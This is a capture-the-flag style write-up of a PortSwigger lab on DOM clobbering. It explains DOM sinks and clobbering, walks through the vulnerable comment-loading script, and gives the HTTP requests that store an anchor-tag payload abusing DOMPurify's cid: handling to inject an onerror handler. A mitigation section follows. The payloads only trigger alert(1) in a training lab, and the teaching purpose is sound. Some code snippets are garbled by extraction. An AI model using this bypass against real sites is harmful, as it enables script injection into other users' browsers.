Why Burp Suite and chromium and not curl?
For this lab, we will use Burp Suite and chromium because it’s the only way that allows us to see the and the JavaScript code running and I don’t want to lose educational value by using a tool that doesn’t allow us to see the in action. It is too cool to skip it.
Necessary Background Concepts To Solve The Lab
DOM
The (Document Object Model) is the browser’s live representation of a page. When the browser receives HTML, a parser reads the tags and builds a tree of objects in memory: elements, attributes, and text nodes. That tree is the DOM.
What you see on screen and what JavaScript can touch are both backed by this tree. The initial HTML from the server is only the starting point. Scripts can add, remove, or change nodes afterward.
How HTML becomes a tree
Take a small snippet:
<div id="comments">
<p>Hello</p>
</div>After parsing, the DOM might look like this in plain terms:
- a
divelement withid="comments"- a
pelement inside it- a text node containing
Hello
- a text node containing
- a
JavaScript can walk that tree with APIs like document.getElementById("comments") and read or change what is there. In the previous example, to replace the Hello text inside the paragraph:
paragraph = .("#comments p")
paragraph.textContent = "Updated from JavaScript"After that runs, the tree in the browser’s memory (and the text you see on the page) looks like this:
<div id="comments">
<p>Updated from JavaScript</p>
</div>You changed the live DOM that the page is showing right now. If you
reload the page, the browser parses the original HTML again and the
paragraph goes back to Hello.
Parsing happens more than once
Parsing is not a one-time event on first page load. Whenever code assigns an HTML string to a property like , the browser runs the parser again on that string and creates new nodes from it.
So if a script builds:
element. = '<img src="' + userInput + '">'the browser does not treat userInput as plain text. It parses the whole string as HTML. A quote or tag character in the wrong place can change which attributes exist on the resulting element.
Knowledge Check
DOM Sink
A is a place in the client-side JavaScript where data from outside the script is processed in a dangerous way.
“Sink” means the data flows into something that can change what the browser parses or runs.
The opposite idea is a source: where data enters the page. That data can be reflected (it comes straight back in the same response, like a URL parameter or search box) or stored (the server saved it earlier and sends it later, like a comment from a previous visit).
A DOM bug is usually a source connected to a sink.
Common sinks
| Sink | What goes wrong |
|---|---|
element.innerHTML = ... | Browser parses the string as HTML. Tags and attributes in the data can run scripts or handlers. |
element.outerHTML = ... | Same parser pass, replaces the element itself. |
insertAdjacentHTML(...) | Same parser pass, inserts HTML at a chosen position. |
document.write(...) | Writes markup into the open document stream. |
eval(...), setTimeout(string, ...) | Runs the string as JavaScript code. |
location = ..., location.href = ... | Can jump to javascript: URLs in some contexts. |
Not every DOM write is a sink. Assigning to textContent or innerText treats input as plain text. The browser does not parse HTML tags from the string, so <script> stays literal text on screen.
Why innerHTML is a classic sink
A search results page might build a message like this:
searchQuery = new URLSearchParams(location.search).get('q')
.('results'). = '<p>Results for: ' + searchQuery + '</p>'If ?q= contains </p><img src=x onerror=alert(1)><p>, the browser will parse the HTML closing the paragraph early. The <img> is no longer inside the string as text. It becomes a real element in the DOM, and the onerror handler will run the alert.
That search example is reflected DOM XSS. The source is the ?q= parameter in the URL. The sink is the line in client-side JavaScript.
The server did not need to echo the payload in the HTML response.
If the same query value were already rendered as HTML in the server response (for example <p>Results for: PAYLOAD</p> in the page source), it would be ordinary reflected XSS instead. The browser would parse that markup on the initial load. No client-side sink would be involved.
Knowledge Check
DOM Clobbering
In the browser, window is the global object. Some names on it can be read two ways: as window.color and as the bare name color. That is not true of every global.
A top-level var becomes a property of window:
color = "blue"
.color // "blue"A top-level let or const does not. The name exists in the script, but window has no matching property:
accent = "red"
.accent // undefinedThe other direction also works. A property assigned onto window is visible as a bare global:
.lang = "en"
lang // "en"So window.settings is not “the variable named settings.” It is a property lookup on the global object. HTML can create those properties too. A top-level const settings = ... would not collide with that. A lookup of window.settings can.
A page script often needs a few defaults (theme, language, a default image path). Another script on the same page might already have put a real config object on window under that name. So a common pattern is:
settings = .settings || { theme: "light", lang: "en" }|| means “if the left side is missing or empty, use the right side.” If nothing defined window.settings, the value is undefined, which is falsy, and the hardcoded object ({ theme: "light", lang: "en" }) is used. If a trusted script previously set window.settings = { anything: "anything" }, that object is used instead.
This check only distinguishes “nothing on window.settings” from “something truthy.” It does not check that the value is actually a config object. A DOM node is also truthy, so it would pass the same test.
Chromium (Chrome, Edge, and other Blink browsers) has an extra rule. An element with id="settings" is also exposed as window.settings. The value is the node, not a config object. Nodes are truthy, so the || fallback never runs. HTML has overwritten the name the script was about to use. That overwrite is . No <script> tag is required. Attacker-controlled markup is enough.
One element clobbers a fallback
HTML in the document:
<a id="settings"></a>Then the same lookup as above:
settings = .settings || { theme: "light", lang: "en" }
console.log(settings.theme)window.settings is the <a> element. settings.theme is not "light". The script is reading a property on an anchor, not on the fallback object.
Two elements can fake an object shape
When two elements share the same id, Chromium often exposes window.<id> as an HTMLCollection (a list of both nodes). Named items in that collection can be read like object properties. On <a> tags, a name attribute can surface as a property whose value comes from href.
<a id="opts"></a>
<a id="opts" name="theme" href="dark"></a>In Chromium, this can resolve to a string:
.opts.theme // often "dark" (from the second anchor's href)No <script> tag was required. Tags that sanitizers often still allow, such as <a>, were enough to make JavaScript see something shaped like { theme: "dark" }.
Quick reference (Chromium)
| HTML on the page | What JavaScript may read |
|---|---|
<div id="foo"> | window.foo is the element |
Two nodes with id="foo", one with name="bar" href="..."> | window.foo is an HTMLCollection; window.foo.bar is often a string from href |
Why it matters
HTML sanitizers may block <script> and inline event handlers while still allowing <a>, <img>, and similar tags. If the application reads defaults from window.someName and later passes the result into a (for example or a URL attribute), clobbering can turn that “safe” markup into .
What happens with Firefox
Firefox still clobbers flat names. One element with id="foo" can show up as window.foo, so a window.foo || fallback check can skip the fallback there too.
What Firefox does not do is the second row of the table. Duplicate ids stay a single node (the first match), not an HTMLCollection. window.foo.bar from a name / href on another element with the same id does not resolve the way it does in Chromium. The HTML is still in the document. The fake object shape is not.
Knowledge Check
PortSwigger notes
PortSwigger's original description
This lab contains a DOM-clobbering vulnerability. The comment functionality allows "safe" HTML. To solve this lab, construct an HTML injection that clobbers a variable and uses XSS to call the `alert()` function. Note: Please note that the intended solution to this lab will only work in Chrome.
PortSwigger original solution
- Go to one of the blog posts and create a comment containing the following anchors:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">- Return to the blog post and create a second comment containing any random text. The next time the page loads, the
alert()is called.
The page for a specific blog post imports the JavaScript file loadCommentsWithDomClobbering.js, which contains the following code:
defaultAvatar = .defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}The defaultAvatar object is implemented using this dangerous pattern containing the logical OR operator in conjunction with a global variable. This makes it vulnerable to DOM clobbering.
You can clobber this object using anchor tags. Creating two anchors with the same id causes them to be grouped in a DOM collection. The name attribute in the second anchor contains the value "avatar", which will clobber the avatar property with the contents of the href attribute.
Notice that the site uses the DOMPurify filter in an attempt to reduce DOM-based vulnerabilities. However, DOMPurify allows you to use the cid: protocol, which does not URL-encode double-quotes. This means you can inject an encoded double-quote that will be decoded at runtime. As a result, the injection described above will cause the defaultAvatar variable to be assigned the clobbered property {avatar: 'cid:"onerror=alert(1)//'} the next time the page is loaded.
When you make a second post, the browser uses the newly-clobbered global variable, which smuggles the payload in the onerror event handler and triggers the alert().
Lab overview
The lab is a blog. Each post lives at /post?postId=N. After the page loads, a script (loadCommentsWithDomClobbering.js) fetches /post/comment?postId=N and receives a JSON array. It looks something like this:
[
{
"avatar":"",
"website":"",
"date":"2026-08-31T16:29:04.233483167Z",
"body":"<b>Nice post!</b>",
"name":"Carlos"
},
...
]No comment markup is in the initial HTML response. The script builds DOM nodes from that JSON and appends them into a <div id="user-comments"> already on the page.
Comments are submitted via a form at POST /post/comment:
<form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
<input required="" type="hidden" name="csrf" value="<csrf-token>">
<input required="" type="hidden" name="postId" value="<post-id>">
<label>Comment:</label>
<div>HTML is allowed</div>
<textarea required="" rows="12" cols="300" name="comment"></textarea>
<label>Name:</label>
<input required="" type="text" name="name">
<label>Email:</label>
<input required="" type="email" name="email">
<label>Website:</label>
<input pattern="(http:|https:).+" type="text" name="website">
<button class="button" type="submit">Post Comment</button>
</form>The vulnerable script
loadCommentsWithDomClobbering.js I’ve modified the script to show a simplified and more readable version of the original. It iterates over each JSON entry and builds comment markup. The avatar logic is the dangerous part:
displayComments(comments) {
userComments = .("user-comments")
for (const comment of comments) {
const commentSection = document.("section")
const defaultAvatar = .defaultAvatar || { avatar: '/resources/images/avatarDefault.svg' }
// escapeHTML is a function that escapes HTML characters preventing XSS
const avatarSrc = escapeHTML(comment.avatar) || defaultAvatar.avatar
const divImg = document.createElement("div")
divImg. = '<img class="avatar" src="' + avatarSrc + '">'
// ... the script also creates the author, date, and other fields in HTML...
if (comment.body) {
const bodyEl = document.createElement("p")
bodyEl. = .sanitize(comment.body)
commentSection.(bodyEl)
}
userComments.appendChild(commentSection)
}
}Script breakdown:
window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}= ifwindow.defaultAvataris not set, the fallback SVG path is used.
comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar= per-comment avatar URLs are HTML-escaped byescapeHTMLbut the fallback path (defaultAvatar.avatar) is not
divImg.innerHTML = '<img class="avatar" src="' + avatarSrc + '">'= the : raw string concatenation into
DOMPurify.sanitize(comment.body)= the comment text is sanitized with before being set intobodyEl. This is where the payload anchors enter a DOM node
userComments.appendChild(commentSection)= once this fires, anyid="defaultAvatar"elements insidecommentSectionare live in the document. Chromium immediately reflects them ontowindow
Every loop creates html elements so it updates the DOM and window.defaultAvatar so if we get to clobber it, the next loop will use the clobbered window.defaultAvatar. That’s why we’ll need to post a second comment to trigger the sink.
Original script and original Post html response
Here is the original script and original Post html response for postId=1. No need to go through it in detail since I’ve done my best effort to simplify it keeping it as close as possible to the original, but if you’re curious you can see it here.
Original script loadCommentsWithDomClobbering.js
loadComments(postCommentPath) {
xhr = new XMLHttpRequest();
xhr.onreadystatechange = function() {
if (this.readyState == 4 && this.status == 200) {
let comments = (this.responseText);
displayComments(comments);
}
};
xhr.open("", postCommentPath + .location.search);
xhr.send();
function escapeHTML(data) {
data.replace(/[<>'"]/g, function(c){
return '&#' + c.charCodeAt(0) + ';';
})
}
function displayComments(comments) {
let userComments = .("user-comments");
for (let i = 0; i < comments.length; ++i)
{
comment = comments[i];
let commentSection = document.("section");
commentSection.setAttribute("class", "comment");
let firstPElement = document.createElement("p");
let defaultAvatar = window.defaultAvatar || {avatar: '/resources/images/avatarDefault.svg'}
let avatarImgHTML = '<img class="avatar" src="' + (comment.avatar ? escapeHTML(comment.avatar) : defaultAvatar.avatar) + '">';
let divImgContainer = document.createElement("div");
divImgContainer. = avatarImgHTML
if (comment.author) {
if (comment.website) {
let websiteElement = document.createElement("a");
websiteElement.setAttribute("id", "author");
websiteElement.setAttribute("href", comment.website);
firstPElement.(websiteElement)
}
let newInnerHtml = firstPElement. + .sanitize(comment.author)
firstPElement. = newInnerHtml
}
if (comment.date) {
let dateObj = new Date(comment.date)
let month = '' + (dateObj.getMonth() + 1);
let day = '' + dateObj.getDate();
let year = dateObj.getFullYear();
if (month.length < 2)
month = '0' + month;
if (day.length < 2)
day = '0' + day;
dateStr = [day, month, year].join('-');
let newInnerHtml = firstPElement. + " | " + dateStr
firstPElement. = newInnerHtml
}
firstPElement.appendChild(divImgContainer);
commentSection.appendChild(firstPElement);
if (comment.body) {
let commentBodyPElement = document.createElement("p");
commentBodyPElement. = .sanitize(comment.body);
commentSection.appendChild(commentBodyPElement);
}
commentSection.appendChild(document.createElement("p"));
userComments.appendChild(commentSection);
}
}
};Original Post html response for postId=1
<!DOCTYPE html>
<html>
<!--LAB_HEAD_START-->
<head>
<link href=/resources/labheader/css/academyLabHeader.css rel=stylesheet>
<link href=/resources/css/labsBlog.css rel=stylesheet>
<title>Exploiting DOM clobbering to enable XSS</title>
</head>
<!--LAB_HEAD_END-->
<body>
<script src="/resources/labheader/js/labHeader.js"></script>
<!--LAB_HEADER_START-->
<div id="academyLabHeader">
<section class='academyLabBanner'>
<div class=container>
<div class=logo></div>
<div class=title-container>
<h2>Exploiting DOM clobbering to enable XSS</h2>
<a class=link-back href='https://portswigger.net/web-security/dom-based/dom-clobbering/lab-dom-xss-exploiting-dom-clobbering'>
Back to lab description
<svg version=1.1 id=Layer_1 xmlns='http://www.w3.org/2000/svg' xmlns:xlink='http://www.w3.org/1999/xlink' x=0px y=0px viewBox='0 0 28 30' enable-background='new 0 0 28 30' xml:space=preserve title=back-arrow>
<g>
<polygon points='1.4,0 0,1.2 12.6,15 0,28.8 1.4,30 15.1,15'></polygon>
<polygon points='14.3,0 12.9,1.2 25.6,15 12.9,28.8 14.3,30 28,15'></polygon>
</g>
</svg>
</a>
</div>
<div class='widgetcontainer-lab-status is-notsolved'>
<span>LAB</span>
<p>Not solved</p>
<span class=lab-status-icon></span>
</div>
</div>
</div>
</section>
</div>
<!--LAB_HEADER_END-->
<div theme="blog">
<section class="maincontainer">
<div class="container is-page">
<header class="navigation-header">
<section class="top-links">
<a href=/>Home</a><p>|</p>
</section>
</header>
<header class="notification-header">
</header>
<div class="blog-post">
<img src="/image/blog/posts/30.jpg">
<h1>Benefits of Travelling</h1>
<p><span id=blog-author>Dan Wefixit</span> | 08 August 2026</p>
<hr>
<p>Travelling is such an emotive word. It can excite some, scare others and conjure images of grubby millennials backpacking around the far reaches of the earth for a few. It is however, a word that can mean whatever it is you want it to mean. It's long been associated with extended periods of time but travelling in bursts or even for short periods travelling can really enrich your life. You may discover how much you miss certain comforts of home, pick up another language, realise you shouldn't have eaten that dodgy street food, but one thing is for certain, you will experience things outside of your normal surroundings.</p>
<p>Although travelling can mean many things, we should probably draw the line at an 18-30s holiday, where the only cultural change is weather and possibly a local beer if they've run out of Carlsberg. That's not to say eating a fry up in an Irish pub and going clubbing every night isn't an enriching experience, it's just something you can find five miles of any point in the UK on the weekend. But with the sad news that Thomas Cook will be saying goodbye to their 18-30s holiday packages, may it rest in peace, it's further proof that travelling for cultural reasons and self-growth is becoming more appealing.</p>
<p>Whether it's a gap year, a short break or a decision to only book a one-way flight, getting away from it all is a great idea. You will find a new purpose, it may be that you'll become more motivated for that project you've putting off at home or maybe your new purpose will be to travel more, but there is nothing like taking a break to take stock. You'll also definitely learn something new about the world. Perhaps you'll learn a new language and that you love this new piece of land you've discovered in the world, it may spur you on to come back and revisit or travel even further around the country in question.</p>
<p>You'll meet new people, it's easy to become complacent in life and it's even easier to settle into routine. Meeting people in similar situations, exploring places and ideas out of their normal world will make it easier to form a lasting bond. These friends will also likely be from backgrounds completely different from your own, they may invite you to share in their homes or vice versa by the end of your travels and with the genius of modern technology, you can document your times together and remain in contact always.</p>
<p>Finally, just to be really clich', it will make you thankful. Thankful for what a gift the world is, what majesty can be found after a few hours on a plane, what a god send a working toilet is. Whether you're just thinking of a quick getaway or a prolonged trip the likes of Bilbo Baggins would envy, there's much to be learned and gained from going out and seeing the world. You get one life and as the old saying goes: 'Jobs fill your pocket, but adventures fill your soul.'</p>
<div/>
<hr>
<h1>Comments</h1>
<span id='user-comments'>
<script src='/resources/js/domPurify-2.0.15.js'></script>
<script src='/resources/js/loadCommentsWithDomClobbering.js'></script>
<script>loadComments('/post/comment')</script>
</span>
<hr>
<section class="add-comment">
<h2>Leave a comment</h2>
<form action="/post/comment" method="POST" enctype="application/x-www-form-urlencoded">
<input required type="hidden" name="csrf" value="LTQFPXOwcG8BA3NYbtYYYhvp6hZt7M8R">
<input required type="hidden" name="postId" value="1">
<label>Comment:</label>
<div>HTML is allowed</div>
<textarea required rows="12" cols="300" name="comment"></textarea>
<label>Name:</label>
<input required type="text" name="name">
<label>Email:</label>
<input required type="email" name="email">
<label>Website:</label>
<input pattern="(http:|https:).+" type="text" name="website">
<button class="button" type="submit">Post Comment</button>
</form>
</section>
<div class="is-linkback">
<a href="/">Back to Blog</a>
</div>
</div>
</section>
<div class="footer-wrapper">
</div>
</div>
</body>
</html>Writeup
Step 1: grab session and CSRF
Open any post (/post?postId=1) in Chromium. The session cookie is set automatically. Find the CSRF token from the page source in the burp proxy history or in the browser with DevTools (hidden input name="csrf").
Step 2: post the clobbering comment
Paste the payload into the comment textarea in Chromium and submit, or send the POST directly:
/post/comment HTTP/1.1
: <lab-url>.web-security-academy.net
: session=<session-cookie>
: application/x-www-form-urlencoded
csrf=<csrf-token>&postId=1&comment=<a+id=defaultAvatar><a+id=defaultAvatar+name=avatar+href="cid:%26quot;onerror=alert(1)//">&name=x&email=x@x.xRequest breakdown:
Cookie: session=...= the session that issued the CSRF token
comment=...= URL-encoded payload translates to<a id="defaultAvatar"><a id="defaultAvatar" name="avatar" href="cid:"onerror=alert(1)//">
A302redirect to/post/comment/confirmationconfirms the comment was stored
HTTP/2 302
: /post/comment/confirmation?postId=1
: session=<session-cookie>; Secure; HttpOnly; SameSite=NoneStep 3: post a second comment
Post any valid comment after the payload. The rendering loop needs at least one entry after the payload anchors are in the DOM to trigger the sink:
/post/comment HTTP/1.1
: <lab-url>.web-security-academy.net
: session=<session-cookie>
: application/x-www-form-urlencoded
csrf=<csrf-token>&postId=1&comment=x&name=x&email=x@x.xStep 4: load the post in Chromium
Open /post?postId=1 in Chromium. The comment loader runs, alert(1) fires, and the lab banner flips to solved.
Why was DOM clobbering needed?
The lab runs the payload through DOMPurify to strip dangerous constructs: <script>, event handlers on most tags, javascript: URLs, and similar attacks.
So a classic comment like <script>alert(1)</script> dies in the sanitizer. We are not trying to bypass DOMPurify with a forbidden tag. We are using the tags DOMPurify considers safe (<a>), then abusing two things together:
How the browser parses HTML into a live DOM, and how the application JavaScript reads from that DOM and writes it back with innerHTML.
Payload
The comment body is two <a> tags. No script tag, no event handler in the stored comment:
<a id=defaultAvatar><a id=defaultAvatar name=avatar href="cid:"onerror=alert(1)//">Both anchors share id="defaultAvatar". That duplicate id is intentional. When two elements share an id, Chromium does not just expose one of them at window.defaultAvatar. Instead it creates a live HTMLCollection (an array-like object that contains both elements and stays in sync with the DOM). The second anchor has name="avatar", so window.defaultAvatar.avatar resolves to its href value: cid:"onerror=alert(1)//.
Remember this code from the vulnerable script?
defaultAvatar = .defaultAvatar || { avatar: '/resources/images/avatarDefault.svg' }
// escapeHTML is a function that escapes HTML characters preventing XSS
const avatarSrc = escapeHTML(comment.avatar) || defaultAvatar.avatar
divImg. = '<img class="avatar" src="' + avatarSrc + '">'const defaultAvatar is now getting an existing value from window.defaultAvatar instead of the default value from the object after ||
window.defaultAvatar now contains {avatar: 'cid:"onerror=alert(1)//'}
comment.avatar is a field we didn’t send, we didn’t receive so it’s empty that’s why const avatarSrc gets the value from defaultAvatar.avatar.
So we’re effectively injecting cid:"onerror=alert(1)// into the avatarSrc variable because after the execution flow it ends up resolving avatarSrc from window.defaultAvatar.avatar thanks to the clobbering.
Why do we need cid:?
The goal is to get a literal double-quote (") into the href string after DOMPurify has already inspected it. That quote is what later breaks out of the src attribute in the innerHTML sink.
DOMPurify 2.0.15 keeps an allow-list of URI schemes it considers safe. cid: (short for Content-ID, a scheme used in MIME email) is on that list. An https: href is also on that list, but it would not work here: DOMPurify scrutinizes common schemes more aggressively and re-encodes any " character back to " before returning the sanitized HTML. cid: is obscure enough that DOMPurify passes the anchor through without re-encoding the content inside the URI. That is what lets the decoded " survive the round-trip.
The href value is cid:"onerror=alert(1)//. Here is what happens to it at each stage:
- The HTML parser decodes
"to a literal"inside the attribute value. The browser now holds the stringcid:"onerror=alert(1)//in memory. - DOMPurify inspects the attribute, sees a
cid:URI, and considers it an allowed scheme. It serializes the anchor back to HTML without re-encoding that", because nothing in its rules says acid:href needs its internal characters escaped. - The anchor survives sanitization with a literal
"embedded in its href.
That preserved " is what breaks the sink. When this href string later lands inside a string-concatenated innerHTML assignment, the HTML parser reads the unencoded " as the end of the src attribute. Everything after it becomes a new attribute: onerror=alert(1).
Without cid:, DOMPurify would reject the href scheme or re-encode the quote before it could reach the sink.
The final rendered comment looks like this:
<section class="comment"><p>x | 31-08-2026<div><img class="avatar" src="cid:" onerror="alert(1)//""></div></p><p>x</p><p></p></section>The trailing " inside onerror might look surprising. Here is the full journey of that one character:
- We stored
"in the href. - The HTML parser decoded it to a literal
"inside the attribute value. - That
"got embedded in the href string (surviving DOMPurify as explained above). - When the href string landed in the
innerHTMLassignment, the HTML parser used that"to close thesrcattribute, turningonerrorinto a separate attribute. - The remaining
"character (the closing quote of the original href) is now a loose character inside theonerrorattribute. When the browser serializes the DOM back to HTML, it re-encodes it as".
In the actual JavaScript string the engine evaluates as the event handler, that " is just the character ". The // before it is a line comment, so the engine sees alert(1)//" and stops. The trailing " never executes.
Mitigation
-
Do not read config from
window.someIdwith||fallbacks. Use a module-localconst, a closed-over object, or aMapthat HTML cannot reach. -
Prefer
createElementandsetAttributefor building avatar markup instead of string concatenation intoinnerHTML. If URLs must be accepted, allowlist schemes (likehttp:,https:only), reject quotes and control characters before they reach a parser. -
Treat sanitizers as one layer. DOMPurify blocked
<script>but the bug was trusting potentially clobbered globals next toinnerHTML. -
When reviewing client code, look for
window.defaults paired withinnerHTML,insertAdjacentHTML, or URL sinks. That pairing is the smell this lab is built around.